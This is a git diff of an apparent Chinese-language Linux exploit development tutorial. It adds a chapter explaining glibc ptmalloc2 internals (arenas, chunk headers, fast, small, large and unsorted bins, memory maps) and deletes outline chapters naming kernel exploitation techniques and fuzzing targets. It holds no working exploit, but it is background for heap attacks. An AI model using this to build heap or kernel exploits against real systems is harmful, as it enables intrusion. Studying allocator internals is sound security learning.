/home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +0804b000-0806c000 rw-p 00000000 00:00 0 [heap] +b7604000-b7605000 ---p 00000000 00:00 0 +b7605000-b7e07000 rw-p 00000000 00:00 0 [stack:11284] +``` +After malloc and before free in thread 1: +在 thread1 调用`malloc()`后创建了堆空间 (no_main_arena), 其起始地址是 0xb7500000 与前面的 data segment 不连续可以猜测这是由`mmap`分配的. +非主线程每次利用`mmap`像操作申请`MAX_HEAP_SIZE`(32 位系统默认 1M) 大小的虚拟内存, 在从其中切割出 0xb7521000-0xb7500000 给用户线程. + +```x86asm +08048000-08049000 r-xp 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +08049000-0804a000 r--p 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +0804a000-0804b000 rw-p 00001000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +0804b000-0806c000 rw-p 00000000 00:00 0 [heap] +b7500000-b7521000 rw-p 00000000 00:00 0 +b7521000-b7600000 ---p 00000000 00:00 0 +b7604000-b7605000 ---p 00000000 00:00 0 +b7605000-b7e07000 rw-p 00000000 00:00 0 [stack:11284] +``` +After free in thread 1: +内存的 layout 也没有发生变化, 这个主线程行为一致. + +```x86asm +08048000-08049000 r-xp 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +08049000-0804a000 r--p 00000000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +0804a000-0804b000 rw-p 00001000 fc:00 393219 /home/guowang/lsploits/hof/ptmalloc.ppt/mthread/a.out +0804b000-0806c000 rw-p 00000000 00:00 0 [heap] +b7500000-b7521000 rw-p 00000000 00:00 0 +b7521000-b7600000 ---p 00000000 00:00 0 +b7604000-b7605000 ---p 00000000 00:00 0 +b7605000-b7e07000 rw-p 00000000 00:00 0 [stack:11284] +``` + +# 0x10 the implementation of ptmalloc2 + +## 0x11 arena + +从 ptmalloc 看到了"主线程和用户线程 1 都有自己的 arena", 但是是事实上没有并不是为每线程的 arena, 系统最多支持的 arena 的个数取决于 core 的个数和系统位数`(core*2+1)`. + +```c +... +int n = __get_nprocs (); + + if (n>= 1) + narenas_limit = NARENAS_FROM_NCORES (n); + else + /* We have no information about the system. Assume two + cores. */ + narenas_limit = NARENAS_FROM_NCORES (2); +... + +#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8)) + .arena_test = NARENAS_FROM_NCORES (1) +``` + +1: 主线程调`malloc()`后创建`main_arena`: + +```c +#define arena_for_chunk(ptr) \ + (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena) +``` + +```c +/* check for chunk from non-main arena */ +#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA) +``` + +```c +static struct malloc_state main_arena = +{ + .mutex = _LIBC_LOCK_INITIALIZER, + .next = &main_arena, + .attached_threads = 1 +}; +``` + +2: 用户线程创建调用`malloc()`经过一些调用后进入`arena_get2()`, 如果没有达到进程的`arena`你上限则调用`_int_new_arena()`为当前线程创建`arena`, 如果达到上限, 会复用现有的`arena`(遍历有 arena 组成的链表并尝试上锁, 如果锁失败, 尝试下一个, 如果成功则返回其`arena`, 表示其可以被当前线程所使用) + +```c +static mstate +internal_function +arena_get2 (size_t size, mstate avoid_arena) +{ + mstate a; + + static size_t narenas_limit; + + ... + repeat:; + size_t n = narenas; + if (__glibc_unlikely (n <= narenas_limit - 1)) + { + if (catomic_compare_and_exchange_bool_acq (&narenas, n + 1, n)) + goto repeat; + a = _int_new_arena (size); + if (__glibc_unlikely (a == NULL)) + catomic_decrement (&narenas); + } + else + a = reused_arena (avoid_arena); // 复用! + } + return a; +} +``` + +3: 如果在`arena`链表里面没有找到可以用的, 会阻塞到有可用的为止. + +```c +static mstate +reused_arena (mstate avoid_arena) +{ + mstate result; + ... + + /* No arena available without contention. Wait for the next in line. */ + LIBC_PROBE (memory_arena_reuse_wait, 3, &result->mutex, result, avoid_arena); + (void) mutex_lock (&result->mutex); // 这里, 在看注释 + ... + + return result; +} + +``` + +## 0x12 data struct in heap + +glibc 中堆管理对几个术语下定义 [^wiki]: + +> Chunk: A small range of memory that can be allocated (owned by the application), freed (owned by glibc), or combined with adjacent chunks into larger ranges. Note that a chunk is a wrapper around the block of memory that is given to the application. Each chunk exists in one heap and belongs to one arena. + +> Arena: A structure that is shared among one or more threads which contains references to one or more heaps, as well as linked lists of chunks within those heaps which are "free". Threads assigned to each arena will allocate memory from that arena's free lists. + +> Heap: A contiguous region of memory that is subdivided into chunks to be allocated. Each heap belongs to exactly one arena. + +管理过程中主要涉及的三个核心结构体如下: + +### malloc_chunk + +`malloc_chunk`是`chunk header`, 一个`heap`被分为多个`chunk`, 其大小有用户请求所决定, 每一个`chunk`都有自己的`malloc_chunk`. + +```c +struct malloc_chunk { + + INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ + INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ + + struct malloc_chunk* fd; /* double links -- used only if free. */ + struct malloc_chunk* bk; + + /* Only used for large blocks: pointer to next larger size. */ + struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ + struct malloc_chunk* bk_nextsize; +}; +``` + +### heap_info + +`heap_info`是`heap header`, 因为`no_main_arena`可以包含多个`heap`, 为了方便管理就每`heap`一个`heap_info`. +如果当前 heap 不够用时候,`malloc`会调用`mmap`来分配新对空间, 新空间会被添加到`no_main_arena`. 这种情况`no_main_arena`就包含多个`heap_info`. +`main_arena`不包含多个`heap`所以也就不含有`heap_info`. + +```c +typedef struct _heap_info +{ + mstate ar_ptr; /* Arena for this heap. */ + struct _heap_info *prev; /* Previous heap. */ + size_t size; /* Current size in bytes. */ + size_t mprotect_size; /* Size in bytes that has been mprotected + PROT_READ|PROT_WRITE. */ + /* Make sure the following data is properly aligned, particularly + that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of + MALLOC_ALIGNMENT. */ + char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; +} heap_info; +``` + +### malloc_state + +`malloc_state`是`arena header`, 每个`no_main_arean`可能包含多个`heap_info`, 但是只能有一个`malloc_state`,`malloc`其中包含`chunk`容器的一些信息. +不同于`no_main_arena`,`main_arena`的`malloc_state`并不是 sbrk heap segement 的一部分, 而是一个全局变量 (main_arena) 属于 libc.so 的 data segment. + +```c +struct malloc_state +{ + /* Serialize access. */ + mutex_t mutex; + + /* Flags (formerly in max_fast). */ + int flags; + + /* Fastbins */ + mfastbinptr fastbinsY[NFASTBINS]; + + /* Base of the topmost chunk -- not otherwise kept in a bin */ + mchunkptr top; + + /* The remainder from the most recent split of a small request */ + mchunkptr last_remainder; + + /* Normal bins packed as described above */ + mchunkptr bins[NBINS * 2 - 2]; + + /* Bitmap of bins */ + unsigned int binmap[BINMAPSIZE]; + + /* Linked list */ + struct malloc_state *next; + + /* Linked list for free arenas. Access to this field is serialized + by free_list_lock in arena.c. */ + struct malloc_state *next_free; + + /* Number of threads attached to this arena. 0 if the arena is on + the free list. Access to this field is serialized by + free_list_lock in arena.c. */ + INTERNAL_SIZE_T attached_threads; + + /* Memory allocated from the system in this arena. */ + INTERNAL_SIZE_T system_mem; + INTERNAL_SIZE_T max_system_mem; +}; +``` + +### heap segment relationship with arena + +图示`main_arena`与`no_main_arean(single heap)` + + +图示`no_main_arena(multiple heap)` + + +## 0x13 chunk + +>Glibc's malloc is chunk-oriented. It divides a large region of memory (a "heap") into chunks of various sizes. Each chunk includes meta-data about how big it is (via a size field in the chunk header), and thus where the adjacent chunks are. When a chunk is in use by the application, the only data that's "remembered" is the size of the chunk. When the chunk is free'd, the memory that used to be application data is re-purposed for additional arena-related information, such as pointers within linked lists, such that suitable chunks can quickly be found and re-used when needed. Also, the last word in a free'd chunk contains a copy of the chunk size (with the three LSBs set to zeros, vs the three LSBs of the size at the front of the chunk which are used for flags).[^wiki] + +`chunk`有两个状态分别是: `allocated chunk`,`free chunk`. + +* allocated chunk: + +1: `malloc_chunk->prev_size`如果前的`chunk`的是 free 的, 那这域里面填充前面的`chunk`的 size. 如果前`chunk`是 allocated, 这个地方包含前一个`chunk`的用户数据. +2: `malloc_chunk->size`是当前`allocated chunk`的大小 (包含头部), 最后 3bit 是 flag 的信息 [^wiki]. +3: 其他的区域在`allocted chunk`(比如 fd,bk) 是没有意义的, 它们的位置被用户存放数据. + +* free chunk + +1: `malloc_chunk->prev_size`, 不能有两个 free 的 chunk 相邻 (一般合并为一个), 因此`free chunk`的`malloc->prev_size`是个`allocated chunk`的用户数据. +2: `malloc_chunk->size`记录当前`free chunk`的`size`. +3: `malloc_chunk->fd`(forwar pointer) 指向同一个 bin 的前一个 chunk. +4: `malloc_chunk->bk`(backward pointer) 指向同一个 bin 的后一个 chunk. + +## 0x15 bins + +因为`ptmalloc`内存分配都是以`chunk`为单位的, 对空闲的`chunk`, 采用分箱式内存管理方式, 根据空闲`chunk`大小和使用情况将其放在四种不同的`bin`中, 这四个空闲 chunk 的容器包括`fast bins`,`small bins`和`large bins`,`unsorted bins`. + +`glibc`中用于记录`bin`的数据结构有两个 [^source]. + +* fastbinsY: 这是一个数组里面记录所有的 fast bins. +* bins: 也是一个数组, 记录 fast bins 之外的 bins, 分别是:1:unsorted bin;2-63:small bin;64-126: large bin. + +```c +struct malloc_state +{ + .... + /* Fastbins */ + mfastbinptr fastbinsY[NFASTBINS]; + ... + /* Normal bins packed as described above */ + mchunkptr bins[NBINS * 2 - 2]; // #define NBINS 128 + // bins 数组能存放 254 个 mchunkptr 指针, 被用来存放 126 头结点指针. + ... +}; +``` + +### fast bins + +* number: 10 + +* data struct: 单链表 (fd only), 在 fast_bin 中的操作 (添, 删) 都在表尾操作. 更具体点就是 LIFO 算法: 添加操作 (free) 就是将新的 fast chunk 加入链表尾, 删除操作 (malloc) 就是将链表尾部的 fast chunk 删除. 需要注意的是, 为了实现 LIFO 算法,fastbinsY 数组中每个 fastbin 元素均指向了该链表的尾结点, 而尾结点通过其 fd 指针指向前一个结点, 依次类推. + +* chunksize: 10 个 fast_bin 中包含的 chunk 的 size 是按照 8 递增排列的, 即第一个 fast_bin 中所有 chunk size 均为 16 字节, 第二个 fast bin 中为 24 字节, 依次类推. 在进行 malloc 初始化的时候, 最大的 fast_chunk_size 被设置为 80 字节, 因此默认情况下大小为 16 到 80 字节的 chunk 被分类到 fast chunk. + +* free chunk: 不会对 free chunk 进行合并操作. 设计 fast bins 的初衷就是进行快速的小内存分配和释放, 因此系统将属于 fast bin 的 chunk 的 P(未使用标志位) 总是设置为 1, 这样即使当 fast bin 中有某个 chunk 同一个 free chunk 相邻的时候, 系统也不会进行自动合并操作, 但是可能会造成额外的碎片化问题. + +* initialization: 第一次调用 malloc(fast bin) 的时候, 系统执行_int_malloc 函数, 该函数首先会发现当前 fast bin 为空, 就转交给 small bin 处理, 进而又发现 small bin 也为空, 就调用`malloc_consolidate`函数对`malloc_state`结构体进行初始化,`malloc_consolidate`函数主要完成以下几个功能: +1. 首先判断当前`malloc_state`结构体中的 fast bin 是否为空, 如果为空就说明整个`malloc_state`都没有完成初始化, 需要对`malloc_state`进行初始化. +2. `malloc_state`的初始化操作由函数`malloc_init_state(av)`完成, 该函数先初始化除 fast bin 之外的所有的 bins(构建双链表), 再初始化 fast bin. + +* malloc operation:即用户通过`malloc`请求的大小属于 fast chunk 的大小范围 (! 用户请求 size 加上 16 字节就是实际内存 chunk size), 在初始化的时候 fast bin 支持的最大内存大小以及所有 fast bin 链表都是空的, 所以当最开始使用 malloc 申请内存的时候, 即使申请的内存大小属于 fast chunk 的内存大小, 它也不会交由 fast bin 来处理, 而是向下传递交由 small bin 来处理, 如果 small bin 也为空的话就交给 unsorted bin 处理. + +* free operation: 主要分为两步: 先通过`chunksize`函数根据传入的地址指针获取该指针对应的`chunk`的大小;然后根据这个`chunk`大小获取该`chunk`所属的 fast bin, 然后再将此 chunk 添加到该 fast bin 的链尾即可. 整个操作都是在`_int_free()`函数中完成. + + + + +### small bins + +* number: 62 + +* chunk size: 同一个 small_bin 里面的 chunk_size 大小是一样的, 第一个 small_bin 的 chunk_size 为 16 字节, 后面以 8 为等差递增, 即最后一个 small_bin 的 chunk_size 为 512bytes. + +* merge: 相邻的 free_chunk 需要进行合并操作, 即合并成一个大的 free chunk. + +* malloc operation: 类似于 fast bins, 最初所有的 small bin 都是空的, 因此在对这些 small bin 完成初始化之前, 即使用户请求的内存大小属于 small chunk 也不会交由 small bin 进行处理, 而是交由 unsorted bin 处理, 如果 unsorted bin 也不能处理的话, 会依次遍历后续的所有 bins, 找出第一个满足要求的 bin, 如果所有的 bin 都不满足的话, 就转而使用`top chunk`. +1. 如果`top chunk`大小不够, 那么就扩充`top chunk`, 这样能满足需求. +2. 如果`top chunk`满足的话, 那么久从中切割出用户请求的大小, 剩余的部分放入`unsorted bin`的`remainder chunk`, 此外这个`chunk`还成为了`last remainder chunk`以改善局部性`当随后的请求是请求一块 small chunk 并且 last remainder chunk 是 unsorted bin 中唯一的 chunk,last remainder chunk 就分割成两部分: 返回给用户的 user chunk, 添加到 unsorted bin 中的 remainder chunk. 此外, 这一 remainder chunk 还会成为最新的 last remainder chunk. 因此随后的内存分配最终导致各 chunk 被分配得彼此贴近`. + +* free operation: 当释放 small chunk 的时候, 先检查该 chunk 相邻的 chunk 是否为 free, 如果是的话就进行合并操作: 合并成新的 chunk, 然后将它们从 small bin 中移动到 unsorted bin 中. + +### large bins + +* number: 63 + +* chunk_size: 前 32 个 large_bin 依次以 64 字节递增, 即第一个 large bin 中 chunk size 为 512-575 字节, 第二个 large bin 中 chunk size 为 576-639 字节, 紧随其后的 16 个 large bin 依次以 512 字节步长为间隔; 之后的 8 个 bin 以步长 4096 为间隔; 再之后的 4 个 bin 以 32768 字节为间隔; 之后的 2 个 bin 以 262144 字节为间隔; 剩下的 chunk 放在最后一个 large bin 中,large bin 的位置是递减的. + +* merge operation: 相邻的 free_chunk 合并为一个更大的 free_chunk. + +* malloc operation: 初始化完成之前的操作类似于 small_bin, 初始化完成之后, 首先确定用户请求的大小属于哪一个 large bin, 然后判断该 large bin 中最大的 chunk 的 size 是否大于用户请求的 size. +1. 如果大于, 就从尾开始遍历该 large bin, 找到第一个 size 相等或接近的 chunk, 分配给用户. 如果该 chunk 大于用户请求的 size 的话, 就将该 chunk 拆分为两个 chunk:前者返回给用户, 且 size 等同于用户请求的 size;剩余的部分做为一个新的 chunk 添加到 unsorted bin 中. +2. 如果小于, 那么就依次查看后续的 large bin 中是否有满足需求的 chunk, 需要注意的是鉴于 bin 的个数较多 (不同 bin 中的 chunk 极有可能在不同的内存页中), 如果按照上一段中介绍的方法进行遍历的话 (即遍历每个 bin 中的 chunk), 可能会发生多次`page_fault`, 进而严重影响速度, 所以 ptmalloc 设计了 Binmap 结构体来帮助提高 bin-by-bin 的检索速度.Bitmap 记录了各个 bin 中是否为空, 如果通过 binmap 找到了下一个非空的 large bin 的话, 就按照上一段中的方法分配 chunk, 否则就使用 top chunk 来分配合适的内存. + +* free opertation: 当释放 large chunk 的时候, 先检查该 chunk 相邻的 chunk 是否为 free, 如果是的话就进行合并操作: 将这些 chunks 合并成新的 chunk, 后将它们移到 unsorted bin. + +### unsorted bins + +回收的 chunk 块必须先放到 unsorted bins 中, 分配内存时会查看 unsorted bins 中是否有合适的 chunk, 如果找到满足条件的 chunk, 则直接返回给用户, 否则 unsorted bins 的所有 chunk 放入 small_bin 或是 large_bin 中. + +* number: 1 个 +* chunk size: 无限制 + + + +### references + +[^Understanding]: [Understanding glibc malloc](https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/) +[^freebuf1]: [Linux 堆内存管理深入分析(上)](http://www.freebuf.com/articles/system/104144.html) +[^freebuf2]: [Linux 堆内存管理深入分析(下)](http://www.freebuf.com/articles/security-management/105285.html) +[^source]: [glibc 内存管理 ptmalloc 源代码分析.pdf](http://www.valleytalk.org/wp-content/uploads/2015/02/glibc%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86ptmalloc%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%901.pdf) +[^layout]: [memory layout](http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory/) +[^wiki]: [glibc/wiki/](https://sourceware.org/glibc/wiki/MallocInternals#Overview_of_Malloc) diff --git a/chapter4/README.md b/chapter4/README.md new file mode 100644 index 0000000..3727ae6 --- /dev/null +++ b/chapter4/README.md @@ -0,0 +1 @@ +# 内核安全 diff --git a/chapter4/chapter_kernel.tex b/chapter4/chapter_kernel.tex deleted file mode 100644 index 6fe3871..0000000 --- a/chapter4/chapter_kernel.tex +++ /dev/null @@ -1,20 +0,0 @@ -\chapter{内核} - 这个阶段归档了kernel安全相关的文档(安全保护,利用). - \section{安全机制} - 早期kernel可以随意访问用户态代码,ret2usr技术可以让内核执行用户态的代码,不过随着 - Linux的发展SMAP(禁止kernel随意访问用户态,RFLAGE.AC标志位置位可以),SMEP禁止 - kernel态直接执行用户态代码. - \subsection{SMAP} -现代Linux默认启用. -\subsection{SMEP/PXN} -现代Linux默认启用. -\subsection{kaslr} -ubuntu 14.04 desktop默认还没有启用,更多信息参考Ubuntu security Features -\footnote{\url{https://wiki.ubuntu.com/Security/Features\#Userspace_Hardening}} -\section{利用方法} -\subsection{rop-2-usr(废弃)} -早期能工作 -\subsection{rop} - -\subsection{vDSO overwriting} -SEMP using vDSO overwrites(CSAW Fianl 2015 string IPC) diff --git a/chapter5/README.md b/chapter5/README.md new file mode 100644 index 0000000..c6c7ce9 --- /dev/null +++ b/chapter5/README.md @@ -0,0 +1 @@ +# 漏洞挖掘 diff --git a/chapter5/chapter_vuln_detection.tex b/chapter5/chapter_vuln_detection.tex deleted file mode 100644 index a227d51..0000000 --- a/chapter5/chapter_vuln_detection.tex +++ /dev/null @@ -1,36 +0,0 @@ -\chapter{漏洞挖掘} -漏洞挖掘的重要性不言而喻,打个比喻上面写的如何啃肉,漏洞挖掘就是肉在哪里. -\section{fuzz} - -\subsection{why fuzz?} -- 容易实现 -– 覆盖面广 -– 低投入高产出 - -\subsection{why not fuzz?} -– 分析困难(无法调试) -– Panic多 / Exploitable少 -– 欠缺精度 - -\subsection{where to fuzz?} -– ioctl -– sysctl -– File system -– Network -\subsection{how to fuzz?} - - - -\section{代码审计} -\subsection{source} - \begin{list}{\textbullet}{% - \setlength\topsep{0pt} \setlength\partopsep{0pt} - \setlength\parsep{0pt} \setlength\itemsep{0pt} - } - \item - Heap Overflow - \item - Integer Overflow - \item - Type Confusion - \item - Use after Free - \item - Logical Error - \item - Kernel Information Leak -\end{list} \ No newline at end of file diff --git a/fonts-external.sty b/fonts-external.sty deleted file mode 100644 index 2ba878c..0000000 --- a/fonts-external.sty +++ /dev/null @@ -1,27 +0,0 @@ -\NeedsTeXFormat{LaTeX2e}[1994年06月01日] -\ProvidesPackage{fonts_external}[2016年10月09日 fonts external package] - -\RequirePackage{fontspec} -\RequirePackage{xeCJK} - -\defaultfontfeatures{Path = fonts-external/, Mapping=tex-text} - -\setCJKmainfont[ -BoldFont=msyhbd.ttc, -ItalicFont=msyhl.ttc, -SmallCapsFont=msyh.ttc -]{msyh.ttc} -\setCJKsansfont{msyh.ttc} -\setCJKmonofont{consola.ttf} - -\setCJKfamilyfont{zhsong}{simsun.ttc} -\setCJKfamilyfont{zhhei}{simhei.ttf} -\setCJKfamilyfont{zhfs}{simfang.ttf} -\setCJKfamilyfont{zhkai}{simkai.ttf} - -\newcommand*{\songti}{\CJKfamily{zhsong}} % 宋体 -\newcommand*{\heiti}{\CJKfamily{zhhei}} % 黑体 -\newcommand*{\kaishu}{\CJKfamily{zhkai}} % 楷书 -\newcommand*{\fangsong}{\CJKfamily{zhfs}} % 仿宋 - -\endinput diff --git a/fonts-external/consola.ttf b/fonts-external/consola.ttf deleted file mode 100644 index b870671..0000000 Binary files a/fonts-external/consola.ttf and /dev/null differ diff --git a/fonts-external/msyh.ttc b/fonts-external/msyh.ttc deleted file mode 100644 index 796cc2d..0000000 Binary files a/fonts-external/msyh.ttc and /dev/null differ diff --git a/fonts-external/msyhbd.ttc b/fonts-external/msyhbd.ttc deleted file mode 100644 index 5e2f4dd..0000000 Binary files a/fonts-external/msyhbd.ttc and /dev/null differ diff --git a/fonts-external/msyhl.ttc b/fonts-external/msyhl.ttc deleted file mode 100644 index 062adb9..0000000 Binary files a/fonts-external/msyhl.ttc and /dev/null differ diff --git a/fonts-external/simfang.ttf b/fonts-external/simfang.ttf deleted file mode 100644 index 2b59eae..0000000 Binary files a/fonts-external/simfang.ttf and /dev/null differ diff --git a/fonts-external/simhei.ttf b/fonts-external/simhei.ttf deleted file mode 100644 index 659f47f..0000000 Binary files a/fonts-external/simhei.ttf and /dev/null differ diff --git a/fonts-external/simkai.ttf b/fonts-external/simkai.ttf deleted file mode 100644 index 1aa018b..0000000 Binary files a/fonts-external/simkai.ttf and /dev/null differ diff --git a/fonts-external/simsun.ttc b/fonts-external/simsun.ttc deleted file mode 100644 index a6599a9..0000000 Binary files a/fonts-external/simsun.ttc and /dev/null differ diff --git a/index.pdf b/index.pdf deleted file mode 100644 index 5c1e834..0000000 Binary files a/index.pdf and /dev/null differ diff --git a/index.tex b/index.tex deleted file mode 100644 index feccb87..0000000 --- a/index.tex +++ /dev/null @@ -1,104 +0,0 @@ -\documentclass[12pt,a4paper,UTF8,hyperref,nofonts]{ctexbook} -\usepackage{fonts-external} -\usepackage{fontspec, graphicx, titlesec, natbib} -\usepackage{indentfirst, listings, xcolor, verbatim} -\usepackage{geometry} - -% ctex关于章节的一些设置 -\CTEXsetup[name={0x0,}]{chapter} -\CTEXsetup[number={\arabic{chapter}}]{chapter} - -% 主要样式 -\newpagestyle{main}{ - % pdf元信息 - \hypersetup{ - colorlinks=true, - bookmarks=true, - bookmarksopen=true, - pdfpagemode=FullScreen, - pdfstartview=fit, - pdftitle={Linux exploit development tutorial}, - pdfauthor={Sn0rt} - } - - % 页眉和页脚设置 - \setfoot{}{}{} - \headrule - - % 段落首行缩进 2 字符 - \setlength{\parindent}{2em} - - % 段间距 - \setlength{\parskip}{0.5\baselineskip} -} -\pagestyle{main} - -% 嵌入代码格式设置 -\lstset{numbers = left, - keywordstyle = \color{blue}\bfseries, - numberstyle = \small\color{black}, - backgroundcolor = \color{lightgray}, - basicstyle=\footnotesize, - stepnumber = 1, - showstringspaces=false, - showspaces = false, - showtabs = false, - tabsize = 8, - breaklines = true, - extendedchars = false -} - -% 设置章节路径 - -\title{Linux exploit development tutorial} -\author{Sn0rt@abc.shop.edu.cn} -\bibliographystyle{plain} -\begin{document} -\maketitle -% 前言 -\newpage -\thispagestyle{empty} -{\hfil \huge \textbf{前\hspace{2em}言}}\par -\par 发现Linux下二进制学习曲线陡峭,而套路零散,于是整理编著这篇文章,来帮助感兴趣的人学习,还想结识更多对Linux二进制感兴趣的人.万事开头难,首先要感谢本文原来的的作者 -sploitfun,他开始做了这件事并写出了思路,我在他的基础上进行了补充和翻译. - -\par 还要要感谢phrack,乌云知识库,各种wiki上面文章的作者,这些作者和安全研究人员讲解了很多关于exploit相关技术,是大家的无私分享使很多东西变的可能,我也想把这样的分享精 -神学习来. - -\par 为了防止文章过于臃肿,我们讲分享讨论的话题尽量限制在Linux,x86,MIPS,ipv4范围内,我们假设读者能正常使用Linux,熟悉C语言,了解汇编语言,认识计算机专业词汇,基本体系结构 -知识(栈,堆,内存之类的).如果不能因为知识储备不够,推荐0day安全\cite{0day安全},不建 -议特为了某个事情把所有预先条件都修好,需要什么要用到在去学,因为不用都会忘的.我认 -为技术人员的学习能力比现实技术重要. - -\par 如果关于本文有什么疑问可以联系我. - -\frontmatter - -% 目录 -\tableofcontents -\clearpage - -\mainmatter - -% 预备 -\include{chapter1/chapter_preparation} - -% 栈 -\include{chapter2/chapter_stack} - -% 堆 -\include{chapter2/chapter_heap} - -% kernel安全 -\include{chapter4/chapter_kernel} - -% 漏洞挖掘 -\include{chapter5/chapter_vuln_detection} - -% 引用 -\bibliography{reference} -\backmatter -\end{document} -% Local Variables: -% TeX-engine: xetex -% End: diff --git a/reference.bib b/reference.bib deleted file mode 100644 index 15aaf8a..0000000 --- a/reference.bib +++ /dev/null @@ -1,28 +0,0 @@ -@book{Hacking, -title = {Hacking:The arf of exploitation}, -publisher = {William Pollock}, -year = {2007}, -author = {Jon Erickson} -} - -@manual{Intel, -title = {Intel® 64 and IA-32 Architectures Software Developer’s Manual}, -author = {Intel}, -year = {2012}, -month = {5} -} - -@book{0day安全, -title = {0day安全:软件漏洞分析技术}, -publisher = {电子工业出版社}, -author = {王清}, -year = {2011}, -edition = {2} -} - -@book{shellcodebook, -title = {The Shellcoders handbook}, -publisher = {Wiley Publishing}, -edition = {2}, -year = {2007} -} \ No newline at end of file AltStyle によって変換されたページ (->オリジナル) / アドレス: モード: デフォルト 音声ブラウザ ルビ付き 配色反転 文字拡大 モバイル
AltStyle によって変換されたページ (->オリジナル) / アドレス: モード: デフォルト 音声ブラウザ ルビ付き 配色反転 文字拡大 モバイル